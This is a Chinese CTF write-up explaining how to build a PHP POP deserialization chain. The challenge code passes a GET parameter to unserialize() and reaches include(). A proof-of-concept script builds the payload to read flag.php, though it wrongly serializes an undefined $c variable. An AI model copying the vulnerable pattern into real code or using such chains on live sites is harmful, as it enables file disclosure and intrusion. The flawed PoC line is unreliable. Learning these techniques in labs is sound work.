POP链
审计
做一题简单的POP链的题目来学习一下POP链的构造。
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
阅读源码,题目告诉我们flag在flag.php中,那么如果需要获得flag,应该要先包含flag.php这个文件。
那就找找文件包含的函数,在源码中是Modifier
这个类使用了文件包含include()
函数,那调用这个include()
的条件是调用append()
这个函数,调用append()
的条件又是触发__invoke()
这个魔术方法,这个魔术方法的触发条件是把对象当成函数调用时会触发__invoke()
中的内容;$var
的值只需要赋值为flag.php
就完成了包含。
继续往下审计,Show
这个类中没有可以控制调用函数的地方,在Test
这个类中可以找到有一个可以控制调用函数的地方;位于__get()
魔术方法的内部,return
的$function()
是一个变量,我们可以控制这个变量去调用Modifier
这个类,这样就会触发__invoke
这个魔术方法,$function()
是由成员变成$p
提供的,那么$p
赋值成Modifier
就可以了。
执行__get()
魔术方法又是一个问了,继续查看有没有调用对象属性的代码;发现Show
类中有一个调用对象属性的代码$this->str->source
;我们只需要把$str
赋值为一个对象,那么就这就是调用一个对象的source
成员变量,这句代码又在__toString()
魔术方法中;
寻找可以把对象当字符串输出的代码,就只能找到下方的__wakeup
魔术方法中的echo $this->source
,而__wakeup
这个魔术方法的触发条件又是执行反序列化的时候调用。
总体的思路就这样子一步步反推出来,构成POP链。简化一下步骤就是:
- 第一步:文件位于
flag.php
中,先包含这个文件。执行包含的条件是把对象当函数调用,去找哪里可以控制调用函数的代码。 - 第二步:找到了可以控制调用函数的代码,但是执行这个代码需要去调用一个不存在的成员属性,又去找可以调用成员属性的代码。
- 第三步:调用成员属性的代码需要当类被成字符串输出的时候才能执行,又去找哪里可以输出字符串。
- 第四步:找到输出字符串的代码,代码需要反序列化的时候执行,那么结合题目最后我们需要传入一个序列化字符串;至此完成POP链构造的思路。
POP链的构造:
依旧使用反推法:
- 先包含
flag.php
这个文件:在Modifier类中赋值为"flag.php";
- 控制函数调用,函数调用的
$function()
是由Test
成员变量$p
提供的;对$p
赋值为Modifier
。 - 调用不存在的成员属性,只需要把
Show
中的$str
赋值为Test
。 - 执行上一步的条件是当前对象被当成字符串输出,那只需要把
$source
设为自己就行了
POC构造
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var = "flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$Mod = new Modifier();
$test = new Test();
$test -> p = $Mod;
$show = new Show();
$show -> source = $show;
$show -> str = $test;
echo urlencode(serialize($c)); #由于private属性反序列化后是带有无法显示字符的,所以需要url编码
?>
标签:__,function,调用,POP,source,flag,PHP
From: https://www.cnblogs.com/qianyuzz/p/17742593.html